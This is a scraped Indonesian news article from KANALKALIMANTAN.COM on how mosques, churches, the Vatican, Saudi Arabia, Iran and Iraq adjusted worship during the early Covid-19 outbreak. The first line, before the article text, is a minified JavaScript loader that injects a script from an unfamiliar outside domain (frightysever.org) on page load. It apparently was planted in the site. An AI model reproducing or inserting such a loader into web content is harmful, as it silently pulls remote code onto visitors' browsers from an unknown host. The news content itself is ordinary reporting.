(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Solusi Bijak Rumah Ibadah Hadapi Corona


KANALKALIMANTAN.COM, JAKARTA — Dalam hitungan kurang dari tiga bulan, wabah virus corona atau Covid-19 yang pertama kali merebak di kota Wuhan, provinsi Hubei, China, akhir Desember tahun lalu telah menyebar ke 121 negara. Dari 121.729 orang terinfeksi, sebanyak 4.382 meninggal dan 66.943 telah sembuh.

Covid-19 mengganggu nyaris semua bidang kehidupan manusia: ekonomi, politik, sosial, budaya, pertahanan dan keamanan, olahraga, hingga agama. Di Indonesia, Covid-19 telah menjangkiti 34 orang, termasuk satu orang meninggal, dan dua lainnya yang telah sembuh.

Menanggapi wabah Covid-19 tersebut, Imam Besar Masjid Istiqlal di Jakarta Nasaruddin Umar mengimbau kepada pengurus masjid di Indonesia untuk membatasi kegiatan yang bersifat masif atau melibatkan banyak orang demi keselamatan umat. Karena itulah, dia pernah melarang penggunaan Masjid Istiqlal untuk acara istighosah. Dia menambahkan pihak Masjid Istiqlal sudah melakukan beragam langkah untuk mencegah penularan virus Covid-19 di dalam masjid.

Seorang perempuan tengah membaca Al Qur’an di dalam masjid Istiqlal, Jakarta. Foto: VOA News

“Misalnya mukenah yang dipakai oleh orang, tamu-tamu itu, tidak boleh dipakai dua kali. Hanya sekali dipakai, ganti cuci lagi. Yang kedua, kami akan memikirkan untuk membuka karpet Istiqlal. Ketiga, semua penghitung celengan uang itu make kaus tangan karena ada uang dolar, China, Korea, dan segala macam. Penularannya kan melalui itu juga,” kata Nasaruddin.

Di samping itu, lanjut Nasaruddin, di tempat wudhu kini disediakan sabun. Mikrofon juga selalu dibersihkan dan mobil ambulans disiagakan 24 jam untuk membawa kalau ada jamaah yang jatuh sakit. Kalau memang keadaan makin mengkhawatirkan, Masjid Istiqlal akan meniadakan sholat tarawih di Istiqlal selama Ramadan, karena tarawih hukumnya sunnah. Sedangkan yang wajib adalah melindungi diri dari penyakit. Walau kontroversial, langkah-langkah yang sudah dan akan diambil merupakan bentuk tanggung jawabnya sebagai Imam Besar Istiqlal.

“Taraweh sunah, yang wajib mencegah diri dari penyakit. Kalau memang itu virusnya mengganas, apa boleh buat kita melakukan pendekatan pada masyarakat kita, persuasif ya, lebih baik kita sholat tarawih di rumah antisipasinya seperti itu. Daripada nanti desak-desakan di masjid, satu kena, kena semuanya. Masyarakat harus dipahamkan juga begitu gampangnya menular,” kata Nasaruddin.

Shalat Jumat di Pasar Tanah Abang, Jakarta, 2 Juni 2017. Foto: VOA News

Nasaruddin juga telah mengeluarkan imbauan untuk tidak berjabat tangan. Kemudian orang sakit sebaiknya tidak usah shalat di masjid. Dia mengharapkan semua langkah yang diambil pengurus Istiqlal untuk mencegah penyebaran virus Covid-19 diikuti oleh masjid dan rumah-rumah ibadah lainnya di seluruh Indonesia. Nasaruddin juga akan membahas langkah bersama untuk mencegah penularan virus Covid-19 dengan berbagai tokoh lintas agama.

 

Ibadah di Gereja Tetap Berjalan

Sementara Sekretaris Jenderal Keusukupan Agung Jakarta, Romo Adi Prasojo mengatakan peribadatan di gereja-gereja di Jakarta, tetap berlangsung sesuai jadwal dan selama ini jemaat yang hadir tetap banyak. Keuskupan Agung Jakarta pada 2 Maret lalu telah mengeluarkan imbauan kepada seluruh pastor di wilayah Keuskupan Agung Jakarta.

Suasana Misa Natal di Gereja Katedral, Jakarta, 25 Desember 2017. Foto: VOA/Andylala

“Pertama, kami mengharapkan bagi jemaat yang merasa diri kurang sehat atau sakit, sebaiknya di rumah dan ke dokter, tidak perlu ikut ibadah. Kedua, merawat kesehatan sendiri dengan membawa pembersih tangan,” ujar Romo Adi.

Imbauan lainnya dikeluarkan oleh Keuskupan Agung Jakarta adalah menyerahkan kepada jemaat untuk menggunakan atau tidak menggunakan air suci yang disediakan di pintu masuk gereja. Penerimaan Komuni dianjurkan menggunakan tangan saja. Dalam ritus salam damai, jemaat boleh bersalaman atau tidak bersalaman. Pada upacara Penghormatan salib dalam Ibadat Jumat Agung untuk tahun ini, jemaat diminta membawa salib masing-masing.

Kalau memang penyebaran virus Covid-19 terus merebak, Romo Adi menyatakan tidak tertutup kemungkinan akan menghentikan kegiatan ibadat di gereja seperti dilakukan gereja-gereja di luar negeri. Peribadatan di rumah masing-masing tambahnya dapat dilakukan melalui live streaming seperti di Singapura.

Sejauh ini tidak ada pemeriksaan suhu tubuh terhadap jemaat yang datang ke Katedral. Kalau menjelang Paskah virus Covid-19 kian merebak, dia mungkin akan mengimbau jemaat beribadat di rumah masing-masing.

Vatikan Langsungkan Misa Lewat Live Streaming

Virus Covid-19 asal Wuhan telah menggoyang kegiatan ibadah di beragam negara. Pemimpin Takhta Suci Vatikan Paus Fransiskus melakukan misa massal mingguan dengan cara live streaming. Tidak ada jemaat berkumpul di Lapangan Santo Petrus.

Di Bethlehem, di mana jutaan orang saban tahun menziarahi Gereja Kelahiran Yesus, ditutup sebulan karena virus Covid-19 telah menginfeksi 20 orang. Alhasil, menjelang Paskah tahun ini, tidak ada pelancong asing datang. Gereja Kelahiran Yesus pun ditutup.

Arab Saudi Tangguhkan Umrah

Wabah Covid-19 juga membuat Arab Saudi melarang warga asing datang untuk berumrah di Makkah dan berziarah ke Masjid Nabawi di Madinah. Larangan serupa diberlakukan kepada penduduk Arab Saudi.

Arab Saudi menyatakan Mataf (tempat bertawaf di sekitar Kabah) dan pintu-pintu masuk Masjid Al-Haram di Makkah dibersihkan dan disterilisasi tujuh kali sehari. Mesin penyejuk di masjid itu dibersihkan sekaligus disterilisasi sembilan kali sehari.

Sampai hari ini, sudah 20 orang terinfeksi virus Covid-19 di Arab saudi. Menteri Agama Arab saudi telah menginstruksikan akan melarang itikaf dan buka bersama di masjid selama bulan Ramadan. Pelaksanaan salat Jumat juga dibatasi tidak boleh lebih dari 15 menit, termasuk khotbah.

Iran Larang Salat Jumat di 22 Propinsi

Di Iran, salat Jumat sempat ditiadakan di 22 provinsi, termasuk Teheran dan Qom. Di negara Mullah ini, sekarang terdapat sembilan ribu pengidap virus Covid-19. Virus ini telah membunuh 354 orang.

Di Kota Karbala, Irak, Jumat pekan lalu, salat Jumat ditiadakan di masjid makam Imam Husain. Virus Covid-19 telah menginfeksi 71 orang di Irak dan menewaskan tujuh orang lainnya. (fw/em-VOA News)

 

Reporter : Fathiyah Wardah
Editor : Arf

 


Desy Arfianty

Recent Posts

15 Anggota Panwascam Dilantik, Bawaslu Banjarbaru langsung Berikan Bimtek Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 15 anggota Panitia Pengawas… Read More

1 jam ago

Pangkalan LPG Diminta Tak Bermain Harga, Polres Banjarmasin Bentuk Tim Khusus

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin membentuk tim khusus untuk mengatasi permasalaha… Read More

3 jam ago

Langsung Pakai Ihram, Kloter 10 Asal HSU-Banjar-Banjarmasin Terbang ke Tanah Suci

KANALKALIMANTAN.COM, BANJARBARU - Jemaah Haji Kabupaten Hulu Sungai Utara (HSU) yang tergabung dalam Kelompok Terbang… Read More

8 jam ago

Safari Jum’at Pj Bupati Kapuas di Masjid Baiturrahman Tamban Catur

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi melakukan Safari Jum’at di Masjid… Read More

10 jam ago

Aeris Hotel Banjarbaru Diberi SP 1, SLF dan Andalalin Belum Lengkap

KANALKALIMANTAN.COM, BANJARBARU – Tak miliki izin operasional, Hotel Aeris di Jalan Panglima Batur mendapat Surat… Read More

10 jam ago

Izin Operasional Aeris Hotel Belum Ada, Disporabudpar Banjarbaru Dapati Tamu Nginap

Manajemen Aeris Hotel: Masih Promosi, Ini untuk Mengetahui Dimana Error-nya Layanan Kita Read More

15 jam ago

This website uses cookies.